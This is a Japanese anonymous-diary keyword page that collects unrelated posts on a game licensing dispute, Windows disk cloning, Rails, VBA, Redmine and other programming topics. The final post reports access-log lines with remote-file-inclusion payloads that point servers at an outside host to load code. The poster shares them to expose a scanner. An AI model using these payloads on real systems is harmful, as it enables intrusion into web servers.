「lib」を含む日記 RSS

はてなキーワード: libとは

2016-12-21

しょぼんのアクションスマホアプリ化されている件について調べた

2010年ごろにニコニコ動画上で有名になったしょぼんのアクションってゲームがあるんだけど今どうなってるのか調べてみた。

そうしたらとんでもないことになっていた。

結論から言えばあからさまに怪しいデベロッパー二次配布のソースコードを使って

原作者許可無く勝手スマホゲーにしていた。

itunes.apple.com/jp/app/shobonnoakushon-orijinaru/id894330337?mt=8

サポートURL (工事中扱い)

www.gatobros.com/

play.google.com/store/apps/details?id=com.gorkaramirez.syobonactionhalloween

サポートURL (工事中扱い)

www.pipletas.com/syobon/syobon.html

デベロッパーは『Gorka Ramirez Olabarrieta』というらしい。 ドメインWhoisガード適応済みで情報漁れず。

で、サポートURLのページをよく見るとOpenSource扱いになっていた

Original Source. Ported by @jezng using Emscripten.

sourceforge.net/projects/opensyobon/

Mathew Velasquezと呼ばれる人物が作者に許可無くSourceForgeアップロードしたようだ。

sourceforge.net/u/twoscomplement/profile/

で、SourceForgeプロジェクト開設日が下記のとおりになっているが

Registered 2010-05-16

原作者サイトにはもっと過去の時点でゲームが公開されている。下記のInternet Archiveのもの

wayback.archive.org/web/20091223043445/http://www.geocities.jp/z_gundam_tanosii/home/Main.html

で、問題はここから

このSourceForgeプロジェクト、再配布人が下記のライセンスで公開している。

License GNU General Public License version 2.0 (GPLv2)

www.gnu.org/licenses/old-licenses/gpl-2.0-faq.ja.html#DoesTheGPLAllowMoney によると

はいGPLは、誰もが販売することを許可しています。複製を販売する権利自由ソフトウェア定義の一部です。

としている。

SourceForgeに公開されているプロジェクトGPLv2で公開されているので、どうやらスマホアプリとして登場したようだ。

が、まずこれ色々と問題がある

プロジェクトで配布されているソースコード内にはDXライブラリがそのまま含まれているが、規約を守っていない可能性が高い。

dxlib.o.oo7.jp/dxlicense.html より引用する。

<<DXライブラリライブラリファイルソースコードの再配布について>>

 DXライブラリライブラリファイル( 拡張子lib や a のファイル )や、プログラムソースファイル( DxGraphics.cpp や DxLib.h などのファイル )を配布する場合は一部、全部問わず

以下の著作権表記を配布物とともに提供される文書、または他の資料に含めて下さい。

DX Library Copyright (C) 2001-2016 Takumi Yamada.

クレジット表示は探した限り見つからなかった。検証ファイル:SyobonAction_v0.9_src.tar.gz

なお、作者のサイトに商用利用に関する規約が無いとはいえ、さすがに普通に連絡するべきではないだろうか?

(配布ソースコード内には改変可という言葉はあるが商用利用可とは書いていない。)

なお、実行ファイル形式で配布されている物の英語のReadMeには原作者クレジットなし。

どうやらゲームファイルソースコード転載されたようだが、少々違和感がある。

Internet Archive内にあるソースコードSourceForge内のソースコードが違う。

tiku氏のそのまま配布するなを遵守したのだろうか? (配布されているソースコードには日本語が混じっているので非常に怪しいけど)

原作者の動向も分からないし、真実は分からない。

ただ、言えることはしょぼんのアクションスマホアプリとして公開されたのはGPLv2辺りのライセンスになっていたからだということ。

ここまで書いておいてなんなんだけど飽きた。

2016-11-29

第3の抜きサイトを教えてくれ

毎晩、特定のえろサイトを周回していいのを見つけたら抜いて寝るのが習慣になってるんだが、いつも同じのを見てると飽きるので、このサイクルにもう1つなにかのサイトを加えたい。

なにかいいのないかな。ちな今のサイクルはこれ

1. exh**t*i

2. にじえ

以上。気分によってp*rn*ub、sa**akuc*m**exを見ているが、前者は毛色が違うから毎日みたくなるものではない。

後者は主に検索の面倒さからまり活用してない。

d*opb**ks広告邪魔すぎるからやめた。

二*元*ケットをよく第3のサイトとして使ってたが同じ理由でやめた。

l*lib*o*uは閉鎖前は第3のサイトだったが、復活後はしょうもないサイトに成り代わったのでやめた。日本語サイトにはこだわっていない。むしろ日本語サイト広告ばっかりだし、2chスレタイ広告見出しばっかりでむしろお断り。何かいサイトいか

2015-09-20

Windowsシステムディスク入れ替えで躓いた件の備忘録

ちょっとした事情からシステムディスク移設をしたところかなり躓いたので、備忘録的にメモ

時代に逆行して個人的な書き物をする場所を一切持ってないのでお借りします。

以下、Linuxなりの最低限の知識があり、バイトオーダーもわかり、細かいところは勝手に補間できる人向け。

目的

Windows 7システムディスクの入れ替え。

オフセット32256バイトを1048576バイトに調整する。

得てして非AFTからAFTという状況と思われる。

コピー元が壊れかけの時はやらないほうが吉。

手順には省略するがたぶんやらないといけないこと


手順

  1. c:\boot\BCDバックアップ(BCD.org等)
  2. clonezillaとLinux Live USB CreatorをDL
  3. clonezillaのUSB起動ディスク作成(「作成したファイルを隠す」、「LinuxLiveWindows上で起動可能にする」のチェックは外す)
  4. HDD接続し、NTFSフォーマット
  5. msinfo32.exeを実行し、オフセットが1048576になっていることを確認
  6. clonezillaのローカルパーティション→ローカルパーティションでクローニング、オプションは全部デフォルト
  7. HDDのみ接続し(念のためclonezillaのUSBも外す)、Windowsインストールディスクを起動
  8. 最初の画面で「次へ」を選択したらShift+F10でコマンドプロンプトを起動
  9. diskpartを起動、list disk → select disk n → list part → select part n → active し、exit
  10. bootrec /fixboot, bootrec /fixmbrを実行
  11. bcdedit /enum allを実行、随所でdeviceがunknownになっているはず
  12. bcdedit /set {bootmgr} device "partition=C:"等をunknownになっているぶんだけ行う。osdeviceやfiledeviceも。
  13. ほかはツールになにも弄られないようにしてシャットダウン
  14. この状態で起動しようと思ってもカーソル点滅から進まない。ここから先の情報(というか23.)は少なくとも日本語では見当たらなかった。
  15. clonezillaを再度起動
  16. lsblkで/lib/live/mount/mediumとなっているデバイスを調べる(仮に/dev/sdb1。ついでに新HDDシステムパーティションは/dev/sda1と仮定。)
  17. sudo mount -o remount,rw /dev/sdb1を実行(自信があれば/tmpとか使ってもいい。オススメしないけど。)
  18. /lib/live/mount/mediumに移動
  19. sudo dd if=/dev/sda1 of=./pbr.bin bs=512 count=1を実行(/dev/sdaだとMBRになってしまうので注意)
  20. pbr.binのバックアップを取る
  21. sudo vi -b pbr.binを実行
  22. :%!xxd でバイナリ編集できるようにする
  23. 1Cが"3F00"になっているはず。これがhidden sectorsすなわちオフセット。ここを"0008"に書き換える
  24. :%!xxd -rで元にもどし、:wqで保存終了
  25. sudo dd if=./pbr.bin of=/dev/sda1 bs=512 count=1を実行し書き戻し(/dev/sdaだと略)
  26. 祝起動

23.もそうだけど12.もどこにもなかった。(英語は面倒でしっかり読んでない)

2点でめっちゃ躓いたってお話

2015-08-08

新しい画像掲示板ログ庫作った話

きっか

画像掲示板スレッドを見逃してしま

とあるログ庫を漁ろうとするが…

1分で断念してしまった

似たような体験してる人もいるんだろうなと思い

シンプルで使い勝手がいいログ庫を書くことにした

そんなわけでログ庫作った

FTBucket開発サイト

http://dev.ftbucket.info/scrapshot/

「気になったスレッドを"ストック"するとサーバー側で自動追跡

あとでログを読んだりまるごとzipで落とせる」

といったread it laterのような使い方ができる

見た目も元サイトと合わせてシンプル構成にした

zip生成を最適化

zipをつくる機能は可能な限りのチューニングを行って

最終的には高速で軽量なzip生成エンジンを作ることができた

phpmyadminzip.lib.phpを改造

- ファイル個別圧縮/非圧縮を切り替え(CPU節約)

- インクリメンタル生成(メモリ節約)

- オンザフライ生成(ディスク領域節約・即時ダウンロード対応)

縮んだzipが生成待ち時間なしで落ちてくるのは結構おもしろ

他のアプリバックアップなんかにも流用している

他にもいろいろ作りこむ

さらUI/UX改善のためにも内部の作り込みをがんばった

詳細の説明はめんどくさいので箇条書きで失礼する

- mht生成対応

- 自分登録したスレッドの絞り込み検索

- 配信型のP2P対応

- 検索タグの付加

- 機械学習タグ予測

- 組み込み全文検索

- 同一画像の検知と重複排除検索

- 100万ファイル以上に対応する類似画像検索

- 全件一覧が早いNonDBデータストア

etc ...

どれも実装には苦労したけど便利な機能

ログ庫でハゲそうになった経験のある人はぜひ試してみてほしい

2014-10-11

アプリ屋がRailsを初めて触ってみて感じた事

Qiitaに書こうかと思ったけど、言いたいことも言えない、こんな世の中じゃ。

発想が古臭い

モバイルファーストAPIファースト文脈ハイブリッドWebをやってきた目からすると、サーバーサイドでHTMLを生成してページ遷移させるなどという90年代調のクラシカルな発想を基本に据えるフレームワークはとても斬新に思えました。HTMLゴリゴリ生成するなんてよほど特殊最適化をしようとするのでなければそもそも発想として出てこないです。それでいてDSLメタプログラミング等のテクニカル技法宝石のように鏤められている様はまるでエジプト時代骨董品を見るかのような趣がありました。turbolinkなどは、かつて表計算ソフトに出しゃばっていたイルカを思い起こさせる味があります。かつて慣れ親しんできたSPAが星のように遠い存在になりました。

モデルMVC

Web界隈の人々がモデルだとかアクティブレコードだとか"MVC"だとかを非常に具象的に話す様を見るにつけ、お前らどんだけPofEAA読み込んでるんだよと畏怖していた時期が僕にもありましたが、どうやら彼等はRailsクラスディレクトリという特定実装について話していただけだったようです。Modelという概念もこれだけ肥大化してしまったら、オリジナル概念で彼等と会話するのは諦めるべきかなと思いましたし、Railsの"MVC"をアンクォートして語るのはもはや害悪であるとすら感じました。

レールから外れる辛さ

Rails界隈の人がよく「Rails流儀」や「正しい"MVC"」というのを口角泡を飛ばし議論しているのを目にするのですが、おそらく外に広がる不条理で火傷を負って快適なRails世界に引き篭もった結果としての一種のストックホルム症候群なのだなと思いました。いまやAjaxとかWebsocketとかWebRTCとかを組み込もうとする至極真っ当な方法論がとてつもない高難度に見えてきます。設定よりも規約、というのも一つの方向性だと思いますが、ドメインサービスレイヤ名前空間を構築しようとしたりコードジェネレーションしようとしたりしただけで地獄のようなCircular Dependency罰を受けてしまったので、自分がとても間違った事をしているような気がしてしまいました。とはいえConcernsに特別名前役割を与えられても正直しんどいので、皆が皆libゴミを放り込んでいく様子にも納得がいきました。

レイヤ?何それおいしいの

RailsAPIサーバーとして使おうとするとまずビューが無くなってMとCだけになりますが、いわゆる"MVC"の文脈で育ったエンジニアがなぜ息を吸うようにFat ControllerやFat Modelを作ってしまうのかという事が良く分かりました。多くのRailsリファクタ手法と称されているものクラスを書くファイルを分割する事以上のものでは無いように思えたので、Rails使いを大きめなAPIサーバー案件に回すときセットポジションDDD青本を投げつける必要が有るなと思いました。

TDDやれんのか

ビューとコントローラを結合させた場合結合テストはCapybaraとかのBDDマークアップサイドとの干渉を恐れながら強い気持ちでメンテしていくしか無いのかなと思いました。おそらく脳に電極を埋め込んでいるか緑色のランプを見るだけでハイになれる特殊な人にしか生き抜けない闇が垣間見えました。コントローラを薄くしてサービスレイヤを挟めばその辺りもうまくいけそうな気がしましたが、ビューからヘルパーモデルがいくらでも透けて見えてしまうという状況では裏側の完全性に自信を持つ事は難しそうでした。

分業とか出来るんだろうか

ビューがRubyを叩いて永続化レイヤと直接コミュニケーション出来るというのはとても生産性が高いのだろうとは思いましたが、こうして出来たパーシャルやら何やらをデザイナーとどうやって共有するかを考えると頭痛が痛くなりました。おそらく適当に切り出して綺麗な空間をassets以下に構築した上でpublicにRPCのような窓口を備えたゴミを量産していくのかなと思いましたが、もっと綺麗な方法はあるのかもしれません。でもきっとRails案件に関われるデザイナーRubyバリバリ書けるに違いないはずなので、ここが問題になる事は無いのだろうなと思いました。

RESTとかきついです

RESTはとても美しいパラダイムではありますが、そもそもHTTPがさほど美しくないので歪んだ空間には目を背けるか勝手解釈を与える事で人は初めてRESTfulを名乗る事が出来るのだと思いますGETbodyを(公式には)持たないという事について美しい説明を与える事は出来ないでしょう。サーチAPIはどうしますか。ステータスコード足りなくないですか。401エラーはどうしますか。そしてRESTあくまリソース抽象化する美しい概念なので、アクション副作用については貧弱です。動詞が足りないですし、一般動詞に狭義の意味を与えてドキュメントするのは二度手間しか見えません。PUTには冪等性があるべきみたいなこだわりは家の猫にでも説教してればいいと思います。というわけで、REST的な設計拝借することはよしとしても、「○○はRESTでは無い故云々~」みたいな注文はやめて頂きたいものです。

そんなに嫌なら他に行けば

とか言わないで欲しいです。こういう時にセットでPHPをディスって悦に浸るのは知る限りRubiestとPythonistaと中学生だけです。それにこれはあくまサーバーサイド初心者感想なので、想像するにこれ系のFWは多かれ少なかれ似たような不満を抱えるものなのかなと思います。というわけで、おそらくこれから選択肢がある限りはRailsを使い続けると思います

だってRuby楽しいんだもの

2014-05-29

WinInetを使ってVBAでPOSTする

Option Explicit

Private Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Private Const INTERNET_OPEN_TYPE_DIRECT = 1
Private Const INTERNET_OPEN_TYPE_PROXY = 3
Private Const INTERNET_SERVICE_HTTP = 3
Private Const INTERNET_DEFAULT_HTTP_PORT = 80
Private Const INTERNET_FLAG_RELOAD = &H80000000

Private Declare Function InternetOpenA Lib "wininet.dll" (ByVal sCallerName As String, ByVal dwAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal dwFlags As Long) As Long
Private Declare Function InternetConnectA Lib "wininet.dll" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nProxyPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal dwService As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Private Declare Function InternetReadFile Lib "wininet.dll" (ByVal hFile As Long, ByRef sBuffer As Byte, ByVal lNumberBytesToRead As Long, ByRef lNumberOfBytesRead As Long) As Long
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInternetHandle As Long) As Long
Private Declare Function HttpOpenRequestA Lib "wininet.dll" (ByVal hConnect As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, ByVal sReferer As String, ByVal sAcceptTypes As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Private Declare Function HttpSendRequestA Lib "wininet.dll" (ByVal hRequest As Long, ByVal sHeaders As String, ByVal dwHeadersLength As Long, ByVal lpOptional As String, ByVal dwOptionalLength As Long) As Long

Private Function submitPost(ByRef host, ByRef url_path, ByRef sendString) As Variant

  Dim dataArray() As Byte, dataPosition, dataSize

 'WinInet初期化
  Dim hInternet
  hInternet = InternetOpenA(vbNullString, INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
  If hInternet = 0 Then
    submitPost = dataArray
    Exit Function
  End If

 'サーバ接続
  Dim hConnect
  hConnect = InternetConnectA(hInternet, host, INTERNET_DEFAULT_HTTP_PORT, vbNullString, vbNullString, INTERNET_SERVICE_HTTP, 0, 0)
  If hConnect = 0 Then
    InternetCloseHandle hInternet
    submitPost = dataArray
    Exit Function
  End If

 'リクエスト初期化
  Dim tmpURL As String * 255
  tmpURL = url_path
  Dim hRequest
  hRequest = HttpOpenRequestA(hConnect, "POST", tmpURL, "HTTP/1.1", vbNullString, 0, INTERNET_FLAG_RELOAD, 0)
  If hRequest = 0 Then
    InternetCloseHandle hConnect
    InternetCloseHandle hInternet
    submitPost = dataArray
    Exit Function
  End If

 'リクエストを送信
  Const strHeader = "Content-Type: application/x-www-form-urlencoded"
  HttpSendRequestA hRequest, strHeader, Len(strHeader), sendString, Len(sendString)

 'データ取得
  Dim readResult, tmpArray(1023) As Byte, tmpPosition, tmpSize
  dataPosition = 0
  dataSize = 0
  Do
    tmpSize = 0
    Erase tmpArray
    readResult = InternetReadFile(hRequest, tmpArray(0), 1024, tmpSize)
    If Not readResult = 1 Or tmpSize = 0 Then
      Exit Do
    End If

    dataSize = dataSize + tmpSize
    ReDim Preserve dataArray(dataSize - 1)
    For tmpPosition = 0 To tmpSize - 1 Step 1
      dataArray(dataPosition) = tmpArray(tmpPosition)
      dataPosition = dataPosition + 1
    Next
  Loop

 'クローズ処理
  InternetCloseHandle hRequest
  InternetCloseHandle hConnect
  InternetCloseHandle hInternet

  submitPost = dataArray

End Function

Public Function downloadFilePost(ByRef targetURL, ByVal sendArray, ByRef savePath) As Boolean

 'URLの分解
  Dim startE, endE, host, url_path
  startE = InStr(1, targetURL, "//") + 2
  endE = InStr(startE, targetURL, "/")
  endE = IIf(startE > endE, Len(targetURL) + 1, endE)
  host = Mid(targetURL, startE, endE - startE)
  url_path = Mid(targetURL, endE)

 'ポストデータエンコード
  Dim jscript
  With CreateObject("ScriptControl")
    .Language = "JScript"
    Set jscript = .CodeObject
  End With
  Dim ix, sendBuffer
  For ix = 0 To UBound(sendArray) Step 1
    sendBuffer = Split(sendArray(ix), "=")
    sendArray(ix) = sendBuffer(0) & "=" & jscript.encodeURIComponent(sendBuffer(1))
  Next
  Set jscript = Nothing

  Dim data
  data = submitPost(host, url_path, Join(sendArray, "&"))

  If LenB(data) <= 0 Then
    downloadFilePost = False
    Exit Function
  End If

 'バイナリで書き込み
  With CreateObject("ADODB.Stream")
    .Type = 1
    .Open
    .Write data
    .SaveToFile savePath, 2
    .Close
  End With

  downloadFilePost = True

End Function

2014-05-21

プログラミング勉強したけどアイデアがないから誰かちょうだい

今年に入ってからプログラミング勉強し始めて、phpjavascriptpythonでとりあえず動くものを作れるようになった。各言語メジャーwebフレームワークも使えるようになったし、過去株価ダウンロードしてmysqlに突っ込んでta-libシストレのバックテストして遊んだり、ニコ動タグ検索結果のクローラー作って新着があればメールで知らせてくれたりするの作ったり、websocketためしてみたりbackbonejsで遊んだりもしてる。ニートから時間無限なのもあるけど、5か月弱でずいぶんできることが増えてきたなと思う。そろそろ何か作って公開してアフィで稼ぎたいなと思い始めた。でも何も出てこない。今月入ってからずっと考えてるのに作りたいものが浮かばない。いくら勉強してもアイデアがなければ無意味なんだと気付いた。誰かアイデアちょうだい

2013-02-24

渋い

The publication in France of our book Impostures Intellectuelles [1] appears to have created a small storm in certain intellectual circles. According to Jon Henley in The Guardian, we have shown that ``modern French philosophy is a load of old tosh.''[2] According to Robert Maggiori in Libération, we are humourless scientistic pedants who correct grammatical errors in love letters.[3] We shall try to explain here why neither is the case.

Some commentators go farther, attacking not our arguments but our alleged motivations for writing the book. Julia Kristeva, writing in Le Nouvel Observateur, accuses us of spreading ``disinformation'' as part of an anti-French politico-economic campaign[4]; she was even quoted (we hope misquoted) by the Italian daily Corriere della Sera as saying that we should undergo psychiatric treatment.[5] Vincent Fleury and Yun Sun Limet, again in Libération, accuse us of seeking to divert research funds from the social to the natural sciences.[6] These defences are curious: for even if our motivations were indeed as ascribed (and they most certainly aren't), how would that affect the validity or invalidity of our arguments? We have the modest hope that calmer heads will soon prevail among both our supporters and our critics, so that the debate can focus on the substantive content of our book.

Which is what? The book grew out of the now-famous hoax in which one of us published, in the American cultural-studies journal Social Text, a parody article chock-full of nonsensical, but unfortunately authentic, quotes about physics and mathematics by prominent French and American intellectuals.[7] However, only a small fraction of the ``dossier'' discovered during Sokal's library research could be included in the parody. After showing this larger dossier to scientist and non-scientist friends, we became (slowly) convinced that it might be worth making it available to a wider audience. We wanted to explain, in non-technical terms, why the quotes are absurd or, in many cases, simply meaningless; and we wanted also to discuss the cultural circumstances that enabled these discourses to achieve such prominence and to remain, thus far, unexposed. Hence our book, the noise and the furore.

2012-09-18

http://anond.hatelabo.jp/20120918173309

書き捨て

https://github.com/tdtds/massr

bundle install --path vendor/bundle
Gemfile syntax error:
/h/massr/Gemfile:14: syntax error, unexpected ':', expecting kEND
	gem 'sinatra-reloader', require: 'sinatra/reloader'
	                                ^
/h/massr/Gemfile:16: syntax error, unexpected ':', expecting kEND
	gem 'pit', require: 'pit'
	                   ^

sudo gem install sinatra
Successfully installed sinatra-1.3.3
1 gem installed
Installing ri documentation for sinatra-1.3.3...

unrecognized option `--encoding=UTF-8'

For help on options, try 'rdoc --help'

ERROR:  While generating documentation for sinatra-1.3.3
... MESSAGE:   exit
... RDOC args: --ri --op /Library/Ruby/Gems/1.8/doc/sinatra-1.3.3/ri --line-numbers --inline-source --title Sinatra --main README.rdoc --encoding=UTF-8 lib README.de.rdoc README.es.rdoc README.fr.rdoc README.hu.rdoc README.jp.rdoc README.ko.rdoc README.pt-br.rdoc README.pt-pt.rdoc README.rdoc README.ru.rdoc README.zh.rdoc LICENSE --title sinatra-1.3.3 Documentation --quiet

アホか

http://anond.hatelabo.jp/20120918155055

解決しない問題なので書き捨てる

~/.rbenv/shims/bundle 使ってるのに /Library/Ruby/Gems/1.8/gems/bundler-1.1.3/lib/bundler/ 以下を見に行こうとするのをやめてくれないので bundle install が通らない

これで半日近く悩んでいる

糞が

2012-04-02

winpcap アプリ開発 Windows C言語

pcap.h は、windows.h よりも先にinlcude宣言すること。

#include "pcap.h"

#include <windows.h>


あとは、wpcap.libライブラリとして登録すればよろしい。

2011-10-06

WINPCAP 4.1.2 を使ったアプリケーション開発(with VC++ 2010 EXPRESS)で

Windows 7 64bit 版上で winpcap を使ったサービスプロセス制作

こちらのページを参考にさせてもらった。

WinPcapを使用したパケットモニター作成CodeZine 古谷誠進さん

http://codezine.jp/article/detail/126?p=2

が、1点バグ発見

・アダプタ一覧(アダプタ名およびIPアドレス)を取得する

の箇所

// デバイス情報バッファを開放する

処理は、while(d)ループの外でやらなくちゃいけない。

デバッグきつかったっす、サービスだとデバッグできないこともあって。

・俺のマシンが64bitだからwinpcap.dlllibと合わない?

(PCAPSDKのLibx64というサブフォルダがあって、こっちのものを指定しなきゃだめ?)

・WIDECHARとMULTIBYTE の扱いの問題?

と、いろいろ迂回してしまった。

"途中で停止しました"の原因を2時間くらいいろいろ調べ、

解消したら、無事動き出した。

「まずはサンプルの制作から」と、時間をかけないために記事はあとでゆっくり研究しよう...と

コードコピペで済ませてるあたしが悪いんだよ。

ちなみに、いろいろ掲載されている情報の中で、こちらのWEBページの記事が一番わかりやすかったです

2011-08-11

*[プログラミング]ズブの素人プログラミング勉強して大規模サイト

日記途中だけど緊急事態><、一番下まで呼んで誰か助けてください><

今日から夏休みが始まったのでプログラミング勉強しようと思う。

3日坊主にならないようにがんばる。

  • 何故日記をつけるか?

去年もプログラミングマスターになろうとしたが失敗。

去年の二の舞にならないようにモチベを維持するために日記を書く。

これに影響された。師匠と呼ぼう。

プログラミングができたらかっこいい!

サークル友達もいなくさびしい夏休み有意義にしようとするため

都内の大学に通う2年生。

前述のとおりサークルもやってない、友達もいない、典型的インドアオタク

でも顔はイケメン

プログラミングは3年前にJavascriptHTMLネトゲでの戦いを整形するために覚えた程度。ほとんど忘れてる。

C言語大学で習ったが「苦しんで覚えるC言語」というサイトにのっている範囲しかやってない。

一応プログラミングの知識は少しはある。

やっぱり、目標はあったほうがいい。

うーん、やっぱり完全に一致みたいな情報網羅サイトを作ってみようと思う。

色々な技術が手に入りそうだし。

色々な言語も学べそう

どんなサイトにするか?大規模情報サイト
学ぶ言語HTML,PHP,Ruby,Javascript,CSS

とりあえずプログラミングにはエディタアップロードするやつが必要なので色々いれてみた。

エディタ
Netbeans重い、すごく重い
phpエディタphpしか編集できない
terapad色分けが出来ない
K2Editorこれが一番最強。でもphp対応してない
HIDEMARU4000YENwin7じゃ使えなかった。
アップするやつ
FileZilla使いづらい、糞
ALFTPこれが一番しっくりきた

というわけで色々悩んだ結果、基本K2Editor、php編集Netbeans,アップロードALFTPにした。

phphtmlrubyjavascript対応してて色分けも出来るwin7で動くエディタないのが残念

実は1ヶ月前にプログラミング勉強しようと思ってサーバーは借りてた。

試験があったので泣く泣く今日からはじめる事に。

ググったり、2chに質問したりして悩んで悩んでロリポップのチカッパプランを借りる事にした。

http://lolipop.jp/service/plan-chicappa/

初期費用 ¥1,575
料金(6ヶ月) ¥3,150
(1ヶ月あたり) ¥525
合計金額 ¥4,725

学生自分にとってはめちゃくちゃ高い。

しかしながら無料レンタルさばより色々といじれて、なにより「お金はもう払った、使わないともったいない」という意識を持つ事でだらけないで出来ると思う。

まず師匠日記をみてみる。HTMLCSSからはじめたと書いてあるが、多分これからはじめると飽きる。

なのでWeb情報自動で集めてくれる(これをスクレイピングという)BOTを作ろうと思う。

日記を読むとMechaniseというのを使ってるらしい。

グーグルでMechaniseで検索

そうするとRuby jamというもので動いているものらしく、Ruby jamRubyで動いている。

Rubyは鯖にはいっているがどうやらjamのほうははいっていないらしくMechaniseもはいっていない。ということで

  • 助けて

ロリポップの解説ページをみてPuTTyていうのをいれてSSH操作ってやつをしてた。

http://d.hatna.ne.jp/taramonera/20100601/1275388515

このページをみながらやってたら

% vi ~/.cshrc

これを実行して

setenv RUBYLIB /home/アカウント名/lib

setenv GEM_HOME /home/アカウント名/lib/rubygems

これを書いて終わろうとしたけど終わり方がわからない><

:wqで保存終了らしいんだけど、入力したところで終われない><

エンタしまくってもだめ><

教えて得ろい人><

2010-05-10

多倍長ライブラリMPIRで複素数std::complexを扱う方法(C++)

C++プログラムで多倍長な複素数を使いたかったのでメモ

C++において多倍長整数,多倍長浮動小数点を扱うライブラリとしてGMPが有名だ.

Visual C++を使っているのなら,GMPと互換のあるMPIRが導入しやすくて良い.

以下,VC10 (Visual Studio 2010)環境での話.

このMPIRはどうもC++複素数クラスstd::complexと相性が悪いようだ.

以下のコードエラーとなってしまう.

#include <complex&gt; 
#include <iostream&gt; 
#include <iomanip&gt; 
#include <mpirxx.h&gt; 

int main()
{
	std::complex<mpf_class&gt; a(1.0, 2.0);
	std::complex<mpf_class&gt; b(0.0, 1.0);
	std::complex<mpf_class&gt; c1 = a + b;
	std::complex<mpf_class&gt; c2 = a - b;
	std::complex<mpf_class&gt; c3 = a * b;
//	std::complex<mpf_class&gt; c4 = a / b;	// error
	
	std::cout << "a  =" << a  << std::endl
	          << "b  =" << b  << std::endl
	          << "c1 =" << c1 << std::endl
	          << "c2 =" << c2 << std::endl
	          << "c3 =" << c3 << std::endl;
//	std::cout << "c4 =" << c4 << std::endl;
	return 0;
}

「operator/=」から呼び出される「_Div」内部でエラーが出る.

そこでテンプレートの特殊化をする.

#pragma once
#include <mpirxx.h&gt;
#if defined(_MSC_VER) &amp;amp;&amp;amp; (_MSC_VER == 1500)      /* VC9 (Visual Studio 2008) */
  #pragma comment(lib, "C:\\lib\\MPIR\\vc9\\mpirxx.lib")
  #pragma comment(lib, "C:\\lib\\MPIR\\vc9\\mpir.lib")
#else if defined(_MSC_VER) &amp;amp;&amp;amp; (_MSC_VER == 1600) /* VC10 (Visual Studio 2010) */
  #pragma comment(lib, "C:\\lib\\MPIR\\vc10\\mpirxx.lib")
  #pragma comment(lib, "C:\\lib\\MPIR\\vc10\\mpir.lib")
#endif

#include<complex&gt;
namespace std {
	template<&gt;
	complex<mpf_class&gt;&amp;amp; complex<mpf_class&gt;::operator/=(const complex<mpf_class&gt;&amp;amp; _Right)
	{	// divide by other complex   //this-&gt;_Div(_Right);
		mpf_class _Rightreal = (mpf_class)_Right.real();
		mpf_class _Rightimag = (mpf_class)_Right.imag();

		mpf_class bunbo = _Rightreal * _Rightreal + _Rightimag * _Rightimag;
		mpf_class re = ( this-&gt;real() * _Rightreal + this-&gt;imag() * _Rightimag ) / bunbo;
		mpf_class im = ( this-&gt;imag() * _Rightreal - this-&gt;real() * _Rightimag ) / bunbo;

		this-&gt;real(re);
		this-&gt;imag(im);
		return (*this);
	}
}

これでとりあえずは割り算もできるようになった.

計算精度については何も考えていない.

突っ込みお待ちしてます.

2010-04-22

Redmine 0.9.3をTomcat 6で実行する方法

結構苦労したので健忘録として。。

環境は以下のとおり

JDK, Tomcat, JRubyインストール済み

MySQLインストール
yum install mysql-server
MySQLの起動
/etc/init.d/mysqld start
MySQLの設定

rootパスワードなどを設定する

mysql_secure_installation
Rubyモジュールインストール

RubyGemsモジュールインストールする

jruby -S gem install rails
jruby -S gem install warbler
jruby -S gem install activerecord-jdbc-adapter
jruby -S gem install activerecord-jdbcmysql-adapter
jruby -S gem install jdbc-mysql
MySQLRedmineデータベースを作成
mysql -u root -p
mysql&gt; create database redmine character set utf8;
mysql&gt; grant all privileges on redmine.* to 'redmine'@'localhost' identified by 'redmine';
mysql&gt; exit

(ここでは、パスワードredmineしているが自由に)

RedmineDB設定

(任意の場所にRedmine解凍して、解凍先のディレクトリに移動した後)

cp config/database.yml.example config/database.yml
vi config/database.yml

database.yml

production:
  adapter: jdbcmysql
  database: redmine
  host: localhost
  username: redmine
  password: redmine
  encoding: utf8

#development:
#
#
#test:
#
#

後のwarbleでのエラーを防ぐため、developmentとtestコメントアウト

DBへのデータ投入
jruby -S rake generate_session_store
jruby -S rake db:migrate RAILS_ENV=production
jruby -S rake load_default_data RAILS_ENV=production
起動確認

script/serverで起動し、http://localhost:3000 にアクセスして正常に動作するか確認する

jruby script/server -e production
production.rbの修正

Tomcatで動かしたときにログ出力するための設定をする

vi config/environments/production.rb
config.logger = Logger.new(config.log_path)
config.logger.level = Logger::INFO
warblerの設定

warble.rbを生成

jruby -S warble config

warble.rbを修正

vi config/warble.rb
  config.dirs = %w(app config lib log vendor tmp extra files lang)
  config.gems = ["jdbc-mysql", "activerecord-jdbcmysql-adapter", "activerecord-jdbc-adapter"]
  config.gems["rails"] = "2.3.5"
  config.gems["rack"] = "1.0.1"
  config.webxml.rails.env = "production"

warファイルを作成

jruby -S warble

できたwarファイルTomcatに配置して、Tomcatを起動する

mv redmine-0.9.3.war /usr/local/tomcat/webapps/redmine.war
/usr/local/tomcat/bin/startup.sh

warblerのバグ(?)でwarに入らないファイルコピーして入れる

cp vendor/gems/rubytree-0.5.2/.specification /usr/local/tomcat/webapps/redmine/WEB-INF/vendor/gems/rubytree-0.5.2

http://localhost:8080/redmine/ にアクセスしてインストールできたか確認して完了!

2009-12-07

株式会社プロアームからのスキャン活動(Morfeus Fucking Scanner)

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?_SERVER[DOCUMENT_ROOT]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 234 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /errors.php?error=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 223 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?page=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 216 "-" "Morfeus Fucking Scanner"

